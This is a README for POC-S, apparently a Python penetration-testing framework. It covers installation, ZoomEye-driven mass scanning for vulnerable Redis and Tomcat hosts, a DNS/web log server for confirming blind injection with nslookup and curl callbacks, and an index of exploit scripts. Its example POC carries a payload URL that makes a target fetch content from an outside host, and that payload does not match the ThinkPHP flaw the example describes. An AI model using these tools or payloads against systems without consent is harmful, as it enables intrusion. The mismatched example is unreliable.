POC-S: POC-T Strengthen Version (POC-T Enhanced Edition)

Documentation for POC-T wiki is in the doc directory

Preface: Currently

Legal Disclaimer

Using POC-S to attack targets without prior mutual consent is illegal. POC-S is intended for security testing purposes only.

Features

• Compatible with POC-T syntax
• Good POC classification, flexible POC loading methods, supports single file, batch, and arbitrary directory loading
• Provides pocs/poc-s terminal commands, separating the framework and POCs, allowing custom POCs to be placed in any directory
• Provides a simple DNS log platform, requiring only one domain name and one public IP to run, suitable for quickly verifying command blind injection and SQL blind injection, simple and efficient.
• Provides good unit test scripts

TODO

• Collect and improve POCs based on vulhub targets and open-source projects, see my POC classification for details.
• Provide --init parameter to dynamically update the tookit.conf configuration file, e.g., --init zoomeye to initialize zoomeye configuration.
• Add dnslog and weblog platforms for quick vulnerability verification.
• Add ceye.py and dnslog.py verification plugins.
• Add pocsapi.py, similar to sqlmapapi functionality.
• Add Python 3 version of POC-S.

Usage

Since third-party interfaces require authentication, use the --init parameter to initialize your relevant interface configuration, e.g., --init zoomeye.

pip install pocs

Source installation:

git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak pocs/toolkit.conf
python setup.py install

If pip install pocs gives a Some files missing error, go to the pocs installation directory (python2.7\Lib\site-packages\pocs) and rename tookit.conf. If you encounter a WARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments. error, it is a dependency issue. Please check and update the versions of a few packages: setuptools==39.0.1, cachetools==3.1.1, google-api-python-client==1.7.11.

1. More flexible plugin loading methods

pocs -s test/test2.py -iS 127.0.0.1                         # Load script/test/test2.py script
pocs -s test2 -iS 127.0.0.1                                  # Load script/test2.py script

pocs -b test -iS 127.0.0.1                                   # Batch load all scripts in /script/test/ directory
pocs -b test -s test2.py -iS 127.0.0.1                       # Load script/test/test2.py script

pocs -s myself_script.py -iS 127.0.0.1                       # Load custom scripts and script directories
pocs -b mydir -iS 127.0.0.1

2. Search engine usage

pocs --init zoomeye                                          # Initialize zoomeye configuration
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"

Use ZoomEye to batch search for CNVD-2020-10487 tomcat ajp lfi vulnerability

pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

3. DNS log platform usage

If you are struggling with the instability of ceye and don't have the time or energy to set up a DNSLog platform (requires two domain names, a public IP, and the ability to modify DNS servers), then try the simple DNS log platform provided by POC-S. It only requires one domain name and one public IP, and provides API interfaces for verification (no GUI).

Assume dnslog.xxx.cn is your public domain and x.x.x.x is the public IP. Ensure that dnslog.xxx.cn resolves correctly to x.x.x.x, otherwise the API will not be accessible.

Run the command on the public server (x.x.x.x):

pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>> dns ip: x.x.x.x

DNS log command, only supports nslookup: nslookup 1234.dnslog.xxx.cn x.x.x.x

If you want to use ping 1234.dnslog.xxx.cn, you can configure a custom DNS server for xxx.cn (refer to DNSLog configuration).

Web log command: curl http://dnslog.xxx.cn:88/weblog/poc123

API endpoint: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn Parameters: - token mandatory, the api_key entered when setting up the DNS log. - type mandatory, options: dns/web - filter optional, filters records by exact match.

POC

POCs provides more flexible plugin classification. Currently, there are four types of POCs collected: Fuzz POC, OWASP POC, Vuln POC, Tool POC. POCs will try to collect existing POCs from GitHub as much as possible, but not too many; individual collection and organization are still needed.

POC writing will be as standardized as possible, following the POC-T writing style. Example below:

#!/usr/bin/env python		
#coding:utf-8

"""
ThinkPHP5 <=5.0.22/<=5.1.29 Remote Code Execution Vulnerability

Desc
    On December 10, 2018, the ThinkPHP official public account published an update notice, which included a high-risk vulnerability in all versions of the 5.x series that could get a shell.
    Due to insufficient checking of the controller name, a potential getshell vulnerability may occur when forced routing is not enabled.
    Affected versions include all versions before 5.0.23 and 5.1.31. It is recommended to update to the latest version as soon as possible.
Version
    ThinkPHP5.0 <= 5.0.22  ThinkPHP5.1 <= 5.1.29
Usage:
    1. python POC-S.py -s 
    2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
    https://www.seebug.org/vuldb/ssvid-9771
"""

import requests

def poc(url):
    pass

Vuln POC

Mainly sourced from vulhub plugin writing and POC-T built-in plugins, only highly available POCs are included. Each POC listed below has been verified with a local environment. If any POC is incorrect, please submit an issue.

• struts2
  • s2-005.py
  • s2-015.py
  • s2-016.py
  • s2-032.py
  • s2-045.py
  • s2-052.py
  • s2-053.py
  • s2-057.py
  • struts2-devmode.py
• weblogic
  • weblogic-ssrf-netmap.py (CVE-2014-4210)
  • weblogic-cve-2017-10271.py (CVE-2017-10271)
  • weblogic-cve-2018-2628.py
  • weblogic-cve-2019-2725.py
  • weblogic-cve-2019-2729.py

Fuzz POC

Source: boy-hack/POC-T

• bakfile: backup file detection
• crossdomain: crossdomain
• dzxss
• gitleak
• issparse
• ms15-034
• phpinfo
• phpmyadmin
• svnleak
• swf
• tomcat_xmlleak
• wordspace

OWASP POC

Source: hunter detection scripts

• cmd_exec
• sql_injection
• xss
• xxe
• csrf
• jsonp_xss
• jsonp_hijacking
• file_read
• ssti
• ssrf

Tool POC

Common tool-type POCs, providing search engine and information query functions.

• bing-dork: Bing search
• bingc: IP reverse lookup and C-segment domain search based on Bing search engine
• google-dork: Google search
• cdn-detect: CDN detection
• waf: detect WAF and return URLs without WAF
• craw: crawl related URLs from links
• vulscan: detect SQL injection vulnerabilities
• portscan: port scanning, detect weak password services
• domain2ip: domain to IP query
• whois: WHOIS information query
• icp: ICP query

Other open-source POCs, such as from https://github.com/boy-hack/airbug, can be used directly, but the HackRequest library is Python 3 only; it needs to be adapted to Python 2. You can install my modified Python 2 library: https://github.com/jiangsir404/hack-requests